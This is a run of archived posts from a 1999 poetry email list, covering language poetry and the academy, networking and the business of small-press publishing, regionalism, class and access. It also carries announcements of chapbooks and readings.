Correct me if I'm wrong...like I said, I only briefly browsed the book. Either way, any attempt at grappling with "Poetic Culture" seems to me to have to concern itself with the cultures within that culture, & find a way to displace the "rigid hierarchies," as Mark W. points out, but in a way that moves beyond mere "academic" criticism, & pushes more towards the hierarchies within the poetic "avant-garde" in terms of race & poetic innovation.

--js
-----Original Message-----
From: Mark Prejsnar <[redacted]>
To: [redacted]
<[redacted]>
Date: Tuesday, October 26, 1999 4:17 PM
Subject: Wallace on Beach

>" Clearly, according to Beach we can't be serious UNLESS we write
about
>Hejinian, Silliman, Perelman, etc--for Beach, there simply can be no
other
>poetic issue than language poetry."
>
>**********
>
>
>Mark: The two substantial chapters on slam and other performative
>styles...are they chopped liver? i'm confused... They seem to me
pretty
>generous, often more so than many slam poets or scenes deserve.....
>
>How does that fit?? (also, that fact that he's pretty darn generous
to
>Stephen Dobyns..) Just curious
>
>mp
>
>
>
>
>(This post reflects ONLY my opinions, and those of no other poet: in

>fact, if someone tried to agree with me, i wdn't LET 'em!!!)
>

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411. **Jill Stengel**
Re: was a business, now it's just a building
Wed 27 Oct 1999

---

dear john, no, i'm not angry at anything you said, and i apologise for the confusion. i appreciate your response, tho, so perhaps it was for the best after all. what, then, was my intention? to bring up some matters that have been burrs under my saddle, so to speak. to vent, to converse, to discuss, to take a stand, to put my opinion into the mix. i found that once i started, i had a lot to say. i'm frustrated. it's a cumulative frustration. there have been several comments i've read on the list, as well as several things i've heard around my local (sf) poetry scene, and many conversations i've had that have led to this level of frustration. this level which brought me to a ranting state today. (why am i frustrated? see my 2 recent postings, for those of you who are just tuning in here...) so i got going, and had a lot to say, and said, and read your response, and now i want to answer your email and let you know that i wasn't directing my anger at you, and i want to go to sleep soon, so i'm going to answer a couple of specific things and go to bed.

re: the networking thing--yes, john, i agree with you when you say "still, i figure it's easier to trust people and see what happens." i do, and i do, and usually i find that i am not disappointed. i find the term "networking" to be problematic, and it was used in a list posting that i read and have unfortunately deleted so cannot reference, and my networking post was intended to be a discussion and exploration of that term and its unclear nature, and some of the additionally unclear issues it raises. "networking" is used as if it is a "bad" word (or a "bad word"), but really, isn't it intended as a term to mean talking to people who are interested in what you're interested in? like engineers talking with other engineers (train, computer, civil, or otherwise). like poets talking with other poets. or does it have to be this thing that is predatory or exploiting or greed-based? this isn't really a question that has to be answered, but i think it points to the social cliques and insider/outsider feelings that have been discussed here. if it's not okay to talk to someone you don't know b/c it might be perceived as "networking" (whatever that is), then the silence among "camps" continues. a story: a certain wonderful more-established poet sat down to lunch at a table full of youngish (i.e. not-very-established) poets at the page mothers conference this past spring, announcing that she wanted to know what was going on with us b/c she already knew what was going on with her peers. "are you networking?" no one asked, b/c we didn't care what to call our conversation. "are you looking for

us to publish you?" no one asked, b/c no one cared, no one thought of it as far as i know. we were simply flattered that someone cared what we thought, what we were interested in, what we were doing. we were happy to be talking with someone new, someone to spark the conversation in a new way. we were impressed that someone "broke rank" and came to talk with us. were WE networking? i don't think so, if it's a bad thing, but if it's a good thing, or a neutral thing, well, we WERE all talking, so...maybe... (end of story interlude) next: and "business"? why is this a bad word? not that you, john, are saying it is (just to be clear), but it's the sense i get, around here & elsewhere, it's things i've read, heard, inferred, that the "business" of poetry is like dirty laundry or something that no one wants to see. yet we are all engaged in it. i could argue various positions of your question to me, whether i would suggest "that poetry is *nothing more* than one business among many"--but i think, for simplicity and because it's late, that i'll say for now, no, i don't think that's enough to describe what i think poetry is. there are business elements to poetry, and there is a lot that goes into poetry that doesn't seem to have much parallel in the business world. i'm pretty fond of thinking that poetry is special in some way, and that business isn't special, but it really depends on how the terms are defined. if poetry means licking stamps and envelopes, which it sometimes does; and if business means designing more effective methods of communication, which it sometimes does, then business suddenly sounds more appealing to me than poetry. it's all how the terms are defined. if there is no definition, conversation(s) can get muddy. and sometimes even if there are... thank you, john, for the thoughtful response and desire for clarity. appreciatively, jill

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412. **Mark Wallace**

language poetry and the academy

Wed 27 Oct 1999

Hi Al:

I do appreciate your caution in the brief note you sent to poetics. Still, I think at this point it's fair to argue that the position of language poetry vis a vis the academy is undeniably changing; it's NOT the outcast discourse it was at one time, although it's certainly not acadominant (as someone termed it) either. I think CBeach may be making a pretty good career out of talking about language poetry--but note the extent to which he does this by arguing that one of the strengths of language poetry is that, vis a vis poetics, it JUSTIFIES itself to contempoary academic critical paradigms. In short he's not arguing FROM the position of the poetry itself, but from the position of an institutional critic who allows the relevance of language poetry only to the extent that it fits his critical

discourse. It's the CRITICISM that's dominant; poetry conforms or not (at its peril).

And Mark P., yes, Beach does nod in the direction of other poetries, but isn't it also fair to say that he finds them lacking because of the extent to which they do NOT conform to a similar set of critical discourses? In any case I think I can grant the relevance of YOUR point without thinking very much that it undermines my own. You see, I think he's ATTACKING avant garde poetry far more than he even understands; if I understand him, language poetry succeeds primarily BECAUSE IT'S CRITICISM, really. I worry sometimes that one of the unintended affects of language poetry has been to further devalue the discourse of poetry as INHERENTLY also critical; poetry matters less and less to any institutional reader, but language poetry is okay because at least the language poets write theory.

Mark

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

413. **Brent Long**

Re: Ghazal

Wed 27 Oct 1999

Thanks to all who replied concerning my query on ghazal. Interesting the Herr should mention Lorca, though. I'm familiar with his "Ghazals", but as far as I can tell, very few of his are truly "ghazals", according to what I've been reading about the form. Which is why I asked in the first place...

Thanks again to everyone who replied,

Brent

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]]On Behalf Of Herr Colin
Sent: Monday, October 25, 1999 6:27 PM
To: [redacted]
Subject: Re: Ghazal

there is a great essay on the ghazal in a book called (I think) _Expansive Poetics_ (or Poetry). I cannot remember the author or title (I'm not much on who

but what) but it deals with the history and often over-use of the moniker "ghazal" as well as giving guidelines for ghazals. A great book of ghazals is _The Green Seas of Heaven_ by Hafiz. And let us not forget Federico Garcia Lorca's as well...

> *herr<<C>*

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

[theremin music] hypertext artworks for storyspace

-michael stutzman {[redacted]}
 daniel pereira {[redacted]}
 herr colin g. hough-trapp {[redacted]}

"The dawn is my Assyria; the sun-set and moon-rise
 my Paphos, and unimaginable realms of faerie; broad
 noon shall be my England of the senses and the
 understanding; the night shall be my Germany of
 mystic philosophy and dreams."

 -Ralph Waldo Emerson

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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414. Jordan Davis
Re: ping pong
Wed 27 Oct 1999

Wait -- you mean it's not the acronym for "Poetry Nice Guy"?? - JD

----- Original Message -----
From: David Giles Scott <[redacted]>

> *The poem is by Eugen Gomringer, though the original has an extra line,*
> *and the spacing is everything,*
>
> *ping pong*
> *ping pong ping*
> *pong ping pong*
> *ping pong*
>
> *Sincerely*
> *David Giles Scott*

↑ Index
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

415. **Brent Long**
Re: on regionalism...
Wed 27 Oct 1999

Interesting that Mark brings up the word "community" here. Originally from the South myself, I noticed a definite sense of community among poets there, both in and out of academic circles that does seem to lack in at least the New England region, where I now live. However, I also believe that poetry IS in fact a "regional" art, in the (obvious) sense that vernacular, geography, etc. all shape the way a poet formulates their art. I don't think something as natural as being influenced by your surroundings should be seen as a source of contention within a "community" of poets.

The work coming out of New York is far different in many ways than the work coming out of, say, Atlanta, and I for one embrace and depend on those differences.

Any thoughts on "community", anyone?

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]]On Behalf Of Mark Prejsnar
Sent: Tuesday, October 26, 1999 9:20 AM
To: [redacted]
Subject: on regionalism...

Someone recently posted, to the effect that people in alabama were into regionalism....(this they took to be bad, and were fairly sniffy about it.....)

What interestes me about most of the poets that i know in the south, is how much they are interested in *community* and how little they are interested in *regionalism* ...

This should hardly be surprising..since they are more likely to care deeply about Coolidge or Stein, Koch or Palmer, Hijinian or Cerevolo, Mackey or Baraka, than James Dickey or even Charles Wright....

Many things are a'stirrin' in dixie, and they ain't regionalist: there are more poems, and more interesting poetry scenes, in heaven and earth, than are ecompassed in yer philosophy, Mr. Dorow!

mp
@lanta.....

(This post reflects ONLY my opinions, and those of no other poet: in fact, if someone tried to agree with me, i wdn't LET 'em!!!)

↑ Index

416. Todd Nettleton
Like to read a good mystery story?
Wed 27 Oct 1999

If you do, this web site might interest you:

http://members.aol.com/justicewrtr/justice4all/main.htm
<http://members.aol.com/justicewrtr/justice4all/main.htm>

Hope you enjoy!

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417. Dana Lustig
Re: on regionalism...
Wed 27 Oct 1999

I agree with Mark's take on regionalism. It seems that in Atlanta, there are more people there who are *not* from Atlanta, so regionalism as a sense of "place" matters relatively little. Community, however, matters a lot. The community for those poets who are interested in contemporary Southern narrative poetry is much larger because the South tends to be reluctant to compromise their traditions (which is their right, after all. If I don't like it, I can return to Queens, NY and my own damn traditions.) There's even a fairly large contigent of slam/spoken word artists here. So, what about those who don't get as tickled by that stuff?

Suffice it to say it took me over 3 years to find others in the Atlanta area who were interested in approaching poetics differently than the established majority...and most of them aren't originally from here either.

I can state with some certainty that these days it seems to be easier to make friends on the web than it is to hang around in one's own neighborhood, region, what have you. Given that, John's original post is only making use of effective resources.

Dana Lisa

_____ Reply Separator _____
Subject: on regionalism...
Author: [redacted] at Internet-USA
Date: 10/26/99 6:16 PM

Someone recently posted, to the effect that people in alabama were into regionalism....(this they took to be bad, and were fairly sniffy about it.....)

What interestes me about most of the poets that i know in the south, is how much they are interested in *community* and how little they are interested in *regionalism* ...

This should hardly be surprising..since they are more likely to care deeply about Coolidge or Stein, Koch or Palmer, Hijinian or Cerevolo, Mackey or Baraka, than James Dickey or even Charles Wright....

Many things are a'stirrin' in dixie, and they ain't regionalist: there are more poems, and more interesting poetry scenes, in heaven and earth, than are ecompassed in yer philosophy, Mr. Dorow!

mp
@lanta.....

(This post reflects ONLY my opinions, and those of no other poet: in fact, if someone tried to agree with me, i wdn't LET 'em!!!)

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418. **kathylou**
Re: name that quote?
Wed 27 Oct 1999

Thanks to the many kind-hearted scholars who replied to my query.

Poetics=Love

Kathy "Sugar Lips" Lou
Lipstick Eleven
> Because this is such a great quote, and because I'm sure others on the list
> are dying of curiosity: It's from Terry Eagleton's *Criticism and
> Ideology: A Study in Marxist Literary Theory*. I as well first thought
> Althusser ("Ideology and the State from *Lenin and Philosophy*), but that
> makes sense since Eagleton was highly influenced by Althusser during this
> period of his thought. Also note the Raymond Williamsesque "values"
> (*Marxism and Literature*).
>
> Trane
>
>
>
>
> >Hello Poetics,
> >Another one of my damnable queries. Does anyone recognize the author/source
> >of the following?

>
> >"A dominant ideological formation is constituted by a relatively coherent
> >set of 'discourses' of values, representations and beliefs which, realised
> >in certain material apparatuses and related to the structures of material
> >production, so reflect the experiential relations of individual subjects to
> >their social conditions as to guarantee those misperceptions of the 'real'
> >which contribute to the reproduction of the dominant social relations" (54).

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419. Catherine Daly
Re: elements of business
Wed 27 Oct 1999

What is generally called "business" in fields outside of strict manufacturing, finance, services, commercial publishing, technology, etc. is generally a mishmash of sales, hr, pr, and "soft" middle management/project management. This is where networking enters the equation. While 5% (1 in 20) will "buy" anything, a higher percentage will "buy" from someone they know, a "name they trust", "brand they recognise", etc. Yes, this is true with poetry.

Networking involves using skills like "working a room", "keeping a positive mental attitude", or, what I call "kissing frogs". It is convincing people you don't know, who don't know you, that you have something in common with them, and that you are a nice person. I'm terrible at it.

True networking involves prep work including research about who will be at whatever meeting, from which companies, what you are selling, and what you have to offer each person. For poetry, it might be knowing who is likely to be at a given reading, what they do and how they do it, who they do it with, and then how what you do is similar, who you may know in common, how you can introduce yourself. While it sounds awfully extreme for poetry, it is very common in the entertainment industry (including theatre), where if you aren't available for networking, absolutely no one, even at an informal kegger, will talk with you. Also, people take notes. You see them in their cars after parties or meetings writing down the names and info for everyone they met.

Jill, it sounds like you are already enmeshed in a secure network, where, since you are a publisher, people seek you out, and since you are reletively secure, can express a simpler interest in "what's out there".

Networking is only one of the businesslike practices that some people do naturally and others don't. Obviously, there is no relationship between quality of work and networking skill, EXCEPT that in collaborative art forms and on projects, networking skills can predict personal responsibility/accountability, team playing, etc. Another businesslike skill is marketing, including niche

marketing and product development (i.e. "style"). How do you write poems? Does the way that you've written a given poem determine how you'll try to get it published? Hey, if you were an actor, you'd have to figure out how to stereotype yourself. Still another is just the mechanics of submitting poems. What about related jobs? The main use of peforming, teaching, publishing a journal or web site, writing, publishing, and delivering academic papers, attending conferences, workshopping, belonging to AWP, MLA, PEN, winning grants isn't generating REVENUE, it's marketing (putting the stuff on your cv), networking, and increasing the ability of other publishers/readers to categorize you/find something they have in common with you. It functions sort of like government certifications: someone else has inspected your financials and found you're sound, so you must be ok.

Regards,
Catherine Daly
Certified LA County WBE (Woman-owned Business Enterprise)
[redacted]

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420. Lawrence Upton
DOMESTIC AMBIENT NOISE continues
Wed 27 Oct 1999

The noisy neighbours are back with 4 more DANs and they're banging on your ceiling shouting "Will you buy up this noise or do we have to take them to the Artists Book Bookfair?"

Writers Forum announces the publication of 4 more issues of DAN, which is beginning to move towards its completion:

desire and pursuit of who; Bob Cobbing / Lawrence Upton 0 86162 902 7 gaffa!; Lawrence Upton / Bob Cobbing 0 86162 903 5 problem of balance; Bob Cobbing / Lawrence Upton 0 86162 904 3 box thingies and spaghetti stuff; Lawrence Upton / Bob Cobbing 0 86162 905 1

£1 each plus postage say £1.50 UK payable to New River Project, 89a Petherton Road, London N5 2QT

Sterling only please s.a.e. / i.r.c. with enquiries - or speak to your favourite bookdealer

and visit the WF website http://www2.crosswinds.net/members/~writersforum/

There will be special commemorative pairs of DANs to celebrate the Domestic Ambient Buoys' appearance at The Klinker on 11 11 99 and at Artists Book Bookfair later in the month - to be announced

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421. **Lowther, John**

FW: Ground

Wed 27 Oct 1999

---

this message is a reply to kent johnson and part of an ongoing conversation --- he suggested sending to the list and seeing if it led anyone anywhere ---- seems fine to me ---- it ultimately started with my responseto kent about his posting "poem" froma day or two ago whcih opened with "an admonsihment to the atlanta poetry group" --- hopefully enough context remains that it'll make sense ---)L

-----Original Message-----
From: Lowther, John
Sent: Tuesday, October 26, 1999 2:10 PM
To: 'KENT JOHNSON'
Subject: Ground

kent

my sense of ground slippage had nothing to do with differences of opinion ---- were that the case then mark and i wd never hear anything the other says --- as much of the most productive dialogue and work in the apg's short history has erupted from he and i differing ---- sometimes i think we disagree just to see where it will go and that's a good thing too as i see it

yr posting struck me as an instance of barb in semi-darkness ---- yr unpacking of it as a cautionary tale about the canonization of langpo and wagging finger, while more coherent for me, falls flat

treading briefly now where i have no place i will say that mark's been into poetry that i think matters since aged 15 or thereabouts when he started with olson and duncan and soon after pound ---- and so to imagine that the opening of the field in which he works was opened by _in the american tree_ seems absurb, it wasnt yet a trinkle in papa silliman's eye ---- has langpo had an effect on him ? sure -----

*and now me ? i had some importantly hidden and undreamed of doors blown open by my encounter with bernstein's work --- then again when i read stein and then with mac low and then with cage and then with antin and the list cd certainly accomodate a much smaller series of doors ---- given this, why is that *only* langpo is seen as having made "the space" possible in which i act ? this seems to me absurd, a thick painting-over the very real cracks --- and again, has langpo had an effect ? sure -----*

but what gets, to my eyes, most strangely occluded in yr posts to me about

*all of this is that many of the writers who you seem to wish to blanket with the term langpo are actually pretty ***great fucking*** poets --- and the term-lumping condemnation on grounds that "langpo is being absorbed by the academe" functionally, to me, means nothing ---- why should it ? i think hugh macdairmid is great and no academic has ever said shit about him that i am aware of (probably someone has)*

i pick and choose what i read and ~if there are~ hordes of mindless idiot poets out there construing some great books of poetry catalog from the syllabi of bernstein watten perelman why ought i to care ? people will say that "they" only perpetuate themselves with this but i've looked at bernstein's syllabi and can't imagine what even semi-consistent aesthetic ideology cd possibly be propagandized on the basis of them ---- theyre too fucking various and internally conflicting for such

so again comes the So What ?

*it occurs to me to thnk that the only people who wd really spend any time battling this percieved academic take-over are those with some counter claim, some desire to push their own individualist of group identity *against* it*

bergers theory of the avant garde makes me yawn ---- what next ? danto's hegelian theory of the inexorable progress of the arts toward self-awareness and then the subsequent "end" of whatever - paint etc

what strikes me as very curious in all yr posts is the seemingly unquestioned acceptance of Make It New as some sort of global prescription ---- as you wrote "Move beyond, as far beyond as you can. Otherwise, why poetry?" ---- who has this global view ? the perspective from which one cd judge any of this and thus be able to state that we had passed beyond, caught up to, or failed to reach the point on this absurdly inadequate line on which one "must" find zukofsky stein cage ? ? ?

now i'm extrapolating right ? you didnt say that ? but then yr comments about the author function as the next BIG QUESTION that which is still "hover(ing) over everything we do in poetry" ---- it's a great question i personally love it but i don't have anything to do with it, with any proposed solution of it and i suspect that lovely and intrigueingly as doubled flowering is in highlighting it that we havent even framed the question well enough yet to begin to answer it ---- i doubt the answer will come from any where and suspect it will come from every where --- that is, for the author function to be meaningfully challenged the battle to do so will hapen not in a text but in each reader's head ---- and maybe has already ??? provisionally, partially (perhaps as best it ever will) --- that is, i don't really know that very many people really give a fuck about who wrote it already ---- i find that i care about the poem primarily and the poet someplace west tertiaria

to make a statement like this "[the author-function] is the central GUARANTOR of the literature institution and everything that it implies, though few wish to admit it, of course-- especially those who desire to end up in the museum and carefully cultivate their "avant=garedeness" in such hopes." is as rigidly dogmatic as the most absurd things bruce andrews has ever said ---- you care about this and you feel this way ---- i'm not slandering that --- i care a lot about things too ----but you run the risk of being percieved as setting up yr own throne or coup or whatever "look, yasusada challenges the author function, yasusada points the way" ----- who is perpetuating the structure of sucessive avant gardes now ?????

which brings me back to an earlier comment made to you about yasusada ---- you fullfill the author function for the book _doubled flowering_, nothing has changed on that score ---- you do interviews you respond to criticisms you maintain and promote the critical environment about yasusada ---- it doesnt matter any more whether tosa motokiyu or araki yasusada existed or not --- you do, and there the buck stops (that's metaphoriocal i'm not saying anyone is profitting or whatever, i actually hope you do make money off the book it wd be great if poets made $ from poetry) ---- to me it seems that yasusada's effect and challenge to the author function wd have been so much better served if the story had held for much longer and that when it broke no trails led to anyone

but i don't get to choose huh ?

but what about making it new ? i'd like to think that the statement is worthwhile but simply not a global statement ---- that one must make the new for themselves their judgement etc ---- but even that prescriptive i question, consider creeley's remark "i have no interest in progress or any idea of that kind" ---- so it [making it new] ends up where ?

i cd say more and i cd say different but now i just say this

.out

)L

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422. Angle Press Angle Press
New Angle Press book for the Coming Winter
Wed 27 Oct 1999

We at Angle Press are pleased to Announce the publication of the first Real Book by Garrett Caples of Oakland, California:

The Garrett Caples Reader

(includes Mr. Caples's last poems)

98 pgs, perfectbound, $9
marvelously designed by Neko Buildings, and
published in conjunction with John Yau's Black Square Editions

This will be available through Small Press Distribution very soon (if not at this very moment...then that other moment that keeps passing very quickly....the one over there under the light).

Thank you and good day

_____
Get Your Private, Free Email at http://www.hotmail.com

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423. pete spence
Re: business of poetry
Wed 27 Oct 1999

> *Websters II New Riverside University Dictionary, 1988*
>
> *it's a simple fact of life in our society that people must be able to provide*
> *for themselves monetarily. if one wishes to criticize the business elements*
> *of poetry, please consider looking at the larger picture in which this*
> *situation exists. most people are not able to financially support themselves*
> *through their poetry, their publications. >thanks for listening/reading--*
> *jill stengel*

apart from the odd booklet most of my publishing activities nowadays are small easily posted things like my MIGHTY THIN BOOKS etc etc most are done in small runs and are only part of my usual correspondence so only go out to current situ,,,it is now financialy too hard it seems to go to the printer and ask for a 500 edition of something,, so a lot of my small press activity now never sees the

bookstore or general reading public, i get a lot of nice publications in return via this more close-knit communication style of activity,, an example would be my MIGHTY THIN BOOKS series...i ask someone for some work that fits the format print about 15 first up for the author stipulating they keep one and give the rest away ,,then send a few copies out in my mail to people who have been in a Mighty Thin etc when i send the initial 15 to the author i usually send five multiples of another Mighty Thin so they can also give away someone else's work,, later sendings to any author is usually 10 copies of their book with a few multiples of others in the series etc etc this goes on with a number of different authors so a distribution of a lot of the Mighty Thin books goes out into "a" system that i have little control over ,, a nice system i think,, hope that all makes sense!!!??? pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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424. Tom Beckett
(no subject)
Wed 27 Oct 1999

It seems to this writer that there is no progress on this list except in the direction of monologue, censorship and exclusion. The same games keep getting played out over and over. It's pathetic and creepy. Cycles of abuse.

Ellis's recent posts are elegant critiques that go to the heart of the matter: attempts to be authoritative and totalizing freeze discourse and encourage the useless repetitive batting at one another that has become a mainstay of the Poetics List experience. Interesting, creative people like Sondheim keep getting needlessly pissed on. Use the freaking delete button.

Come on guys--and it is guys I'm talking to--get a life.

Tom Beckett

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425. pete spence
Re: was a business, now it's just a building
Wed 27 Oct 1999

> *(((that's pete stephen jill*
> *and*
> *all the rest of you too*
>
> *stephen, jill, pete, anybody*
> *anyone have answers to these questions ?*

> *are they in fact questions that need answers ?*
> *..that conceivably have them ?*
>
> *[the APPLAUSE light is on but we don't deliver]*

dunno tho one thing i know like with my habit of making postcards daily reaching for the glue-stick i can't help it!!! i never have a stock of postcards because they are all in my next pile of mail to bods,,same with writing/MAKING visual poetry etc publishing little numbers is a "got you under my skin" situ that maybe never leaves,,i'm not unhappy!!!!pete spence

---

Get Your Private, Free Email at http://www.hotmail.com

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426. **dan raphael**
Re: regionalism
Wed 27 Oct 1999

Has been some discussion in Raven Chronicles http://www.speakeasy.org/ravenchronicles/ about what consititued Pacific Norhtwest poetry, particularly what encompassed local poetry in the Seattle area. Here in Oregon the 'official' 'local' poetry, as practiced by a majority of those with full time college teaching gigs, has william stafford as its icon. a good poet friend (who needs to protect his job as college adjunct) descirbes it as 'hillbilly chic,' its cool to be rural, very representational tho also terse. the unofficial local poetry here in Portland OR, exisiting via open mikes, coffee hourses, and to some extent the slam scene has bukowski as the chief icon, tho ginsberg and kerouac have altars not too far to the side.

dan

↑ Index

427. **miekal and**
Re: on regionalism...
Wed 27 Oct 1999

the concept that one could create something/anything divorced from their surrounding is an enviable dictum,

but it is hard to imagine unless you think about isolation chambers & float tanks.

Im a dyed-in-cheese regionalist, infact a bioregionalist, in fact living in the heart of the driftless bioregion, the largest unglaciated spot in the northern hemisphere. no apologies for my writing & art being located in the place I live.

mIEKAL aND, dreamtime village, usa

↑ Index

428. miekal and

Re: poetry audience/s

Wed 27 Oct 1999

david
why
does
poetry
have
to
be
dependent
on
books
why
cyberspace
can
distribute
literature
to
an international
audience
at very
little
cost.

9000
copies
of a book
seems
like a lot
but that
kind of
audience
is easily

had on
internet.

when the nytimes
reviewed a visual poem of mine
I had that many viewers in a week.

now hits doesnt equal sales of books
but buying a book doesnt mean the
person will actually read it either.

Im not dissing books, Ive been a publisher of handmade books since 76, but the playing field has spawned new options.

mIEKAL

↑ Index

429. Kathy Lou Schultz
Business, class, access
Thu 28 Oct 1999

It seems to me that part of what Jill Stengel is highlighting is the importance of *access* and that not all poets/writers have the same access to "community" and publishing opportunities. And, yes, if we get very clear and very honest about this, a lot of this is about money (and other aspects of class mobility such as education). Bobbie West states it very clearly in the HOW2 Forum on class & poetics that Robin Tremblay-McGaw and I co-edited (and, yes, I do want to pitch this because I think the contributors worked hard and did a great job with limited time and space on a very difficult topic):

"When it comes to literary production, class pervades every aspect of it. For people of the lower classes, the common denominator is "have-not" status, starting with the glaring absence of the middle/upper class assumption that it is always possible to achieve what one desires. There's a lack of cash to support money-losing ventures such as poetry magazines and small presses (owner/editorship of which gives one instant recognition). There's a lack of access to the Internet, where one can hobnob with publishers and magazine editors (publication being determined partly by who you know: For example, this particular essay appearing in this particular forum is a result of having met someone [Kathy Lou Schultz] at an academic conference and having contributed to an Internet discussion)."

I find it interesting the extent to which poets will go to obfuscate their own or other's class privilege. It is like it is perceived as "impolite" to actually tell the truth about money -- and who has it. I get very tired of this because money does buy access: more time to write, money to publish one's own journals and books,

which in turn increases both community as well as publishing opportunities for one's own work by increasing your "profile" and "reputation."

Let's just say for now that I'm pretty clear that if I still worked at the Hinky Dinky grocery store in the town in Nebraska where I grew up, ya'll wouldn't be seeing my name in print at all.

And lest you think I'm just pointing fingers, the quote from Bobbie implicates both Bobbie & myself, in a way laying things bare, and saying, yup this is how it works. As women from working class backgrounds we're both inside and outside of that, straddling, yet trying to keep it as real as possible. Not easy. Sometimes painful. Always interesting.

Respectfully,
Kathy Lou

Jill Stengel wrote:
as both a poet and publisher, i cannot ignore the fact that it costs money to
put work forth into the world. even self-publishing--paper, pen, printer, whatever--requires money. let's not forget stamps, envelopes. last i checked,
these were not free either. maybe i'm looking in the wrong places? what about
web publishing--i pay for internet access, paid for this computer at which i now sit, etc., so nope, that's not free either. sending work out to others to
publish: well, there's still that computer and printer and paper and stamps to be thinking of. unless i'm going to go use someone else's computer and printer and paper and stamps.
...
to bring it--the financial concerns of poetry--to light in a criticizing manner, pointing fingers at those who cannot avoid the simple math of needing
to make ends meet, is unfair, detrimental...and contributes to the continuation of the limited availability of non-mainstream publishing.

^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

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430. Philip Nikolayev
In Re Alan Sondheim
Thu 28 Oct 1999

Dear Alan Sondheim and all,

Being swamped with work, I have been only skimming this list of late, and very selectively. I know there have been some criticisms of Alan's postings, but didn't realize the thing had gotten so acute. I don't have a very clear idea of the nature of the debate (I'd be grateful if someone gave me a brief summary), but I'm sorry to hear that it has caused some unpleasantness. I have read Alan's book, _Reality Disorder_, with much interest, and would very much like him to keep posting here. Alan, have you been asked to stop posting? That's ridiculous! And where I can I read your stuff on the poetics of mathematics?

Don't give up and don't despair! This, too, will pass.

Yours,

Philip Nikolayev

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431. R M Daley
BAY AREA ULTRA EVENT (fwd)
Thu 28 Oct 1999

please forward for all to see thanks
rd

---------- Forwarded message ----------
Date: Wed, 27 Oct 1999 21:49:09 -0700 (PDT)
From: AreOut TheLights <[redacted]>
To: [redacted]
Subject: BAY AREA ULTRA EVENT

"AMERICAN BEAUTY"

you are cordially invited to a night of music movies
beer language lights and god knows what at

The Artists' Television Access
992 Valencia at 21st, SF, CA
Friday, November 12th, 1999
8pm
$3
[one drink with admission]

a production of TheLightsAreOut
in cooperation with the release of Josh May's TEMP
+ the presentation of James Sanders's THE TEENAGERS

=====

Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

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432. Tenney Nathanson

POG EVENT: Monday, Nov 1 open discussion with poet Bernadette Mayer (U of Arizona) (REMINDER)

Thu 28 Oct 1999

REMINDER

“Experimental Poetry”

a discussion with poet

Bernadette Mayer

Monday

November 1

2 pm

Modern Languages 303

Bernadette Mayer is the author of numerous books of poetry and prose. Her latest books include Sonnets, The Formal Field of Kissing, The Bernadette Mayer Reader, The Desires of Mothers to Please Others in Letters, Proper Name, and Two Haloed Mourners: Poems. Throughout the 1980s, Mayer was director of The Poetry Project at St. Mark's Church in New York where, as well as teaching her legendary Experiments in Poetry Workshop, she produced the Poetry Project's reading series. Mayer's position made her a central figure in the community of artists and writers gathered at that time in New York City's Lower East Side. With her husband Lewis Warsh, she edited United Artists press, which published a number of seminal books of poetry, including Ted Berrigan's Sonnets and Mayer's own Utopia.

Sponsored by:
The University of Arizona Department of English
The Arizona Quarterly

-------- Poetry Reading: On Saturday, October 31, at 3:30, Bernadette Mayer and Barbara Cully will read at Tucson Botanical Gardens, 2150 N Alvernon. The

reading is sponsored by POG, The University of Arizona Extended University Writing Works Center, and Tucson Botanical Gardens, and is made possible in part by grants from the Arizona Commission on the Arts and the Tucson/Pima Arts Council.

For further information about these events contact:
POG: [redacted]

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso/tn/

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433. Tenney Nathanson

ATTENTION: TIME AND PLACE CHANGE for POG EVENT: Sunday Oct 31 Mayer/Cully reading at Botanical Gardens, 3:30 pm

Thu 28 Oct 1999

---

due to some last minute logistical difficulties, the Mayer/Cully reading this coming Sunday, Oct. 31 (in Tucson) has been shifted to a new place and time

time: 4:00 pm (rather than 3:30) place: St. Phillip's Church in the Foothills, 4440 N Campbell (NE corner of Campbell and River), in the Murphy Gallery (use east side entrance to gallery). [rather than Botanical Gardens]. (There's plenty of easy parking at St. Phillips)

please make note of the changes, and please plan to attend!

***

NEWS RELEASE

POG

in association with

The University of Arizona Extended University

present a Poetry Reading by

Bernadette Mayer and Barbara Cully

Sunday, October 31
4:00

St. Phillip's Church in the Foothills, 4440 N Campbell (NE corner of Campbell and River), in the Murphy Gallery (use east side entrance to gallery).

Bernadette Mayer is the author of numerous books of poetry and prose. Her latest books include Sonnets, The Formal Field of Kissing, The Bernadette Mayer Reader, The Desires of Mothers to Please Others in Letters, Proper Name, and

Two Haloed Mourners: Poems. Throughout the 1980s, Mayer was director of The Poetry Project at St. Mark's Church in New York where, as well as teaching her legendary Experiments in Poetry Workshop, she produced the Poetry Project's reading series. Mayer's position made her a central figure in the community of artists and writers gathered at that time in New York City's Lower East Side. With her husband Lewis Warsh, she edited United Artists press, which published a number of seminal books of poetry, including Ted Berrigan's Sonnets and Mayer's own Utopia.

Barbara Cully is from San Diego California and earned her MFA at the Iowa Writers' Workshop. She is the author of The New Intimacy (Penguin, 1997), winner of the National Poetry Series Open Competition 1996, and of Shoreline Series (Kore Press,1997). She has taught in the University of Arizona Department of English since 1986 and has been a guest poet and teacher at the Prague Writers' Workshop in the Czech Republic. She is currently at work on a book of prose lyrics; the working title is “Desire Reclining.”

Admission: $5

POG events are sponsored in part by grants from the Tucson/Pima Arts Council and the Arizona Commission on the Arts.

for further information contact:
POG
c/o Tenney Nathanson
[redacted]

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso/tn/

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434. Susan M. Schultz
Re: new Tinfish publication
Thu 28 Oct 1999

Tinfish is pleased to announce the publication of Nell Altizer's sonnet sequence, _Thin Place_. Those of you teaching the sonnet form in coming semesters will, I hope, consider using this chapbook in your classes. Anyone interested in the sonnet, nay in poetry, should have a look. Copies are $5 each.

